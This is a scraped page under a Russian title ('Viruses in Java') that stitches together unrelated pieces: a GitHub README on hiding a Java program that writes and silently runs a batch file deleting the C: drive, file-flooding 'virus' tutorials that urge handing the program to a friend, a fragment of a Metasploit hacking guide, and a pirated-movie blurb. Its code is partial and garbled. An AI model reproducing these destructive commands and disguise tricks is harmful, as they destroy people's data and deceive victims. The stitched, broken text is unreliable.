Вирусы на языке java

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

Shows how virus files can be created and run using java, and how these types could pose a threat.

License

ktech99/java_virus_creator

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Читайте также:  Как остановить php скрипты

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

Kartik Arora *The author is not responsible for the use of code or other knowledge in this document. *

To prove how a virus can be disguised in a simple application made in Java, and how people would unknowingly download such files which could harm their computers.

Proving that java can be used for malicious purposes without being detected by the systems anti- virus.

  • Not being detected as a virus by browsers
  • Creating a virus file on a victims’ computer
  • Running the virus file without the victim noticing
  • Disguising the file so that the victim doesn’t notice
  1. Starting the Command Line through Java To open the virus, we would be needing control to the command line. Once we have control of the command line, we have access to most of the average users files and data.
Runtime run = Runtime.getRuntime(); run.exec(new String[] ); 
The code above is used to start the command line when the jar file is executed. To delay this process, the thread can be put to sleep using the code : 
*Thread.sleep(*Time in seconds*); 
  1. Running commands in the command line Now that we have access to the command line, we need to be able to run commands in it. To achieve this, we will be using the Robot class provided by java. What the Robot class does is simulate the hardware of the victims computer. We can use this to type in the commands we would like to run.
ControlManager ctr = new ControlManager(); ctr.type("hider.vbs & exit"); 
This would run the .vbs file created ahead. “ControlManager” is a class made by me to use the “Robot” class to type in a given string to the Command Line. 
  1. Creating the virus We would now create a virus that we would like to execute. It is fairly simple to make a virus as a .bat file. To create the virus, we use the PrintStream provided by Java, to create this file.
PrintStream bash = new PrintStream(new File("vs.bat")); bash.println(@echo off\nDel C:\*.*/y); 
The code above would create a file called “vs.bat” file in the directory the victim has downloaded the original file in, and would delete the victims “C:” drive when executed. 
Every time a .bat file is run, it leaves the command line window open while executing. This would alert the victim, that there is something wrong. To hide our virus while it executes, we would have to create a .VBS file. 
PrintStream vb = new PrintStream(new File("hider.VBS")); 
vb.println("Set WshShell = CreateObject(\"WScript.Shell\" )+ 
This code above would create a file called “hider.VBS”, which wen executed would run the “vs.bat” file without keeping the command line open. 
We gave our subjects a situation, where they are working on a project with a peer and their peer sends them a file saying it’s related to the project. 
We asked them if they would download the file if : 
  • It’s name is project.exe, and their browser gives them no warning?
  • It’s name is project.exe, and their browser gives them a warning that it might be harmful?
  • It’s name is project.Jar, and their browser gives them no warning?
  • It’s name is project.Jar, and their browser gives them a warning that it might be harmful?
  • It’s name is project.doc, and their browser gives them a warning that it might be harmful?
  • It’s name is project.doc, and their browser gives them no warning?
  • It’s name is project.bat, and their browser gives them no warning?
  • It’s name is project.bat, and their browser gives them a warning that it might be harmful?

As I have just shown, viruses can be created using java. These viruses aren’t limited to .bat files, and can be used as ransomware, Trojans, or any other sort of file that browsers and anti-viruses usually block. People now are conscious while downloading files such as .exe files and .bat files, but people usually feel that .jar files are safe to run on their computers.

As the popularity of Java programs increases, so does the threat of such viruses and the average user of a computer would not know how to detect or prevent these files from running. The security risk this possesses is immense and people need to be educated regarding such files.

Источник

QuadGen

Before we start talking how we will create a simple flooder virus using java we must be clear about what is the idea and how to implement it.

So the idea is to create a program which will create thousands of blank files in a drive you will don’t believe but it could create file with a speed of 1060+ files per second .

How to implement it

  • First of all we will design a loop which will run N number of times where N is the number of files which we want to create.
  • Then we will create a new File with the help of createNewFile() function of java.io.File class.
  • The name of each file is the value of the variable which is used in the loop.

Note you can also change the path from «D:/» to any other drive or folder but the compulsion is that you must have administrative access.

How to upgrade it

You could even make it whole dreadful by allowing it to make infinite files by making few changes in the above program. Here is the code to implement this.

Here as the virus program on action

  • Get link
  • Facebook
  • Twitter
  • Pinterest
  • Email
  • Other Apps

Comments

Post a Comment

Hack windows pc using kali linux

MSBulletin MS15-100 — Important Here is what Microsoft said about this vulnerability ( MS15-100 ) in their Microsoft Security Bulletin on TechNet: Although the vulnerability has been patched, many systems don’t have automatic patching for a number of reasons, especially within corporate, large institution, and military installations. Just a warning. This hack is not for the newbie. I requires significant knowledge of both Linux and Metasploit to work. Step 1 Fire Up Kali Our first step, of course, is to fire up Kali . This exploit requires that you have Ruby 2.1 on your Kali system, so if you are using Kali 1.1 or earlier, you will need to upgrade your Ruby. Kali 2.0 has the upgraded Ruby, so there’s no need to upgrade. Step 2 Go to Exploit-DB Next, let’s go to the Exploit-DB . Under the Remote Code Execution Exploits section, we can find the exploit under its Microsoft designation, MS15-100 . Don’t Miss: How to Find Exploits Usin

Doctor Strange Full Movie Download 720p Dual Audio

Doctor Strange 2016 Feature Direct resumeable Link Doctor Strange 2016 Movie in 720p BluRay High Speed Download Doctor Strange Full Movie Download Free 720p BluRay Download Doctor Strange in English Doctor Strange 2016 File Detail 1. Movie Name : Doctor Strange 2016 2. Movie Cast : Benedict Cumberbatch, Chiwetel Ejiofor, Rachel McAdams 3. Movie Size : 777 MB 4. Movie Quality : HD Cam BluRay Small Size 5. Movie Language : English,Hindi 6. Movie Genre : Action, Adventure, Fantasy Doctor Strange Full Movie Download Free 720p BluRay Marvel’s “Specialist Strange” takes after the account of the skilled neurosurgeon Doctor Stephen Strange who, after an unfortunate pile up, must set inner self aside and take in the privileged insights of a concealed universe of magic and substitute measurements. Situated in New York City’s Greenwich Village, Doctor Strange must go about as a mediator between this present reality and what lies past, using an inconceivable exhibi

Источник

Writing a Virus in Java

Step by step guide to write a self replicating virus in Java.
Infecting executable jars, libraries and runtimes.

Download sample executable
The sample app has a user interface and asks for your permission before causing any harm.
It’s strongly advised to use a disposable sandboxed environment like a virtual machine.

Rationale and Disclaimer of Liability

This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.

Basic Principles of Virus Development

This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.

Writing a self replicating virus in Java

This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.

Designing a Payload

This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.

Infecting Java 8 Runtime

This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.

Writing a Command & Control Software

This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.

Источник

Computer Virus

Computer Virus:-

«A piece of code which is capable of copying itself and typically has a detrimental effect, such as corrupting the system or destroying data.»

Normally people’s think that virus is something similar to atomic bomb or something but literally virus
is a piece of code which execute’s after some specified condition become true or we manually execute’s
it.

Who Created Virus First ?

Published on Apr 17, 2013.
The first ever computer virus was developed in 1986 by two Pakistani brothers in Lahore Pakistan . The first computer virus named «Brain» was designed by Amjad Farooq Alvi and Basit Farooq Alvi with the intention of determining the piracy of a software written by them.

How To Create A

Simple Virus And

What Languages Are

Used?

C Sharp and C++ are very popular language’s in Cracking word. Sometimes hacker do use of other
object oriented languages such as Java n etc. Today I’ll teach you how to create a simple virus using JAVA.

This virus start creating multiple files in your drive and it will continue till this program is not
stopped manually but you can’t stop this program because it hang’s your computer as well and to be honest I tried this virus on my PC and it created 80,000+ files in my drive.

This doesn’t harm your data but may be possible it will destroy your RAM & make your processor abnormal.

IS THIS DETECTED BY ANY ANTI-VIRUS?

No! No anti virus will able to stop it because mainly anti viruses focuses for Trojan Horses, malicious etc.

STEP 1:
First of all you need to install java in your computer with JDK.

STEP 2:
Then make a loop which will whose scope must be infinite.

EXAMPLE:-
int a=0;
while(a <10)< >
since we havn’t incremented «a» which are variable in while block that’s why it’s scope is infinity.

STEP 3:
Import a file PrintWriter class which will create file and then type following code.

EXAMPLE:-
try <
PrintWriter b = null;

b = new PrintWriter(«d:\\»+ a + «.txt»);

b.write(«Sorry. :P» + «\n Regards Hani»);
> catch (FileNotFoundException ex) <
Logger.getLogger(NewJFrame.class.getName()).log(Level.SEVERE, null, ex);
>

Here catch block is executed if exception is raised. I’ll teach you about exceptions in java in my next blog.

STEP 4:
Now build application and give to your friend and tell him to execute and see a honey Shell 🙂
That’s It. 🙂

You can download complete project by contacting me on facebook 🙂

NOTE:THIS IS FOR ONLY EDUCATIONAL PURPOSE.

Источник

Оцените статью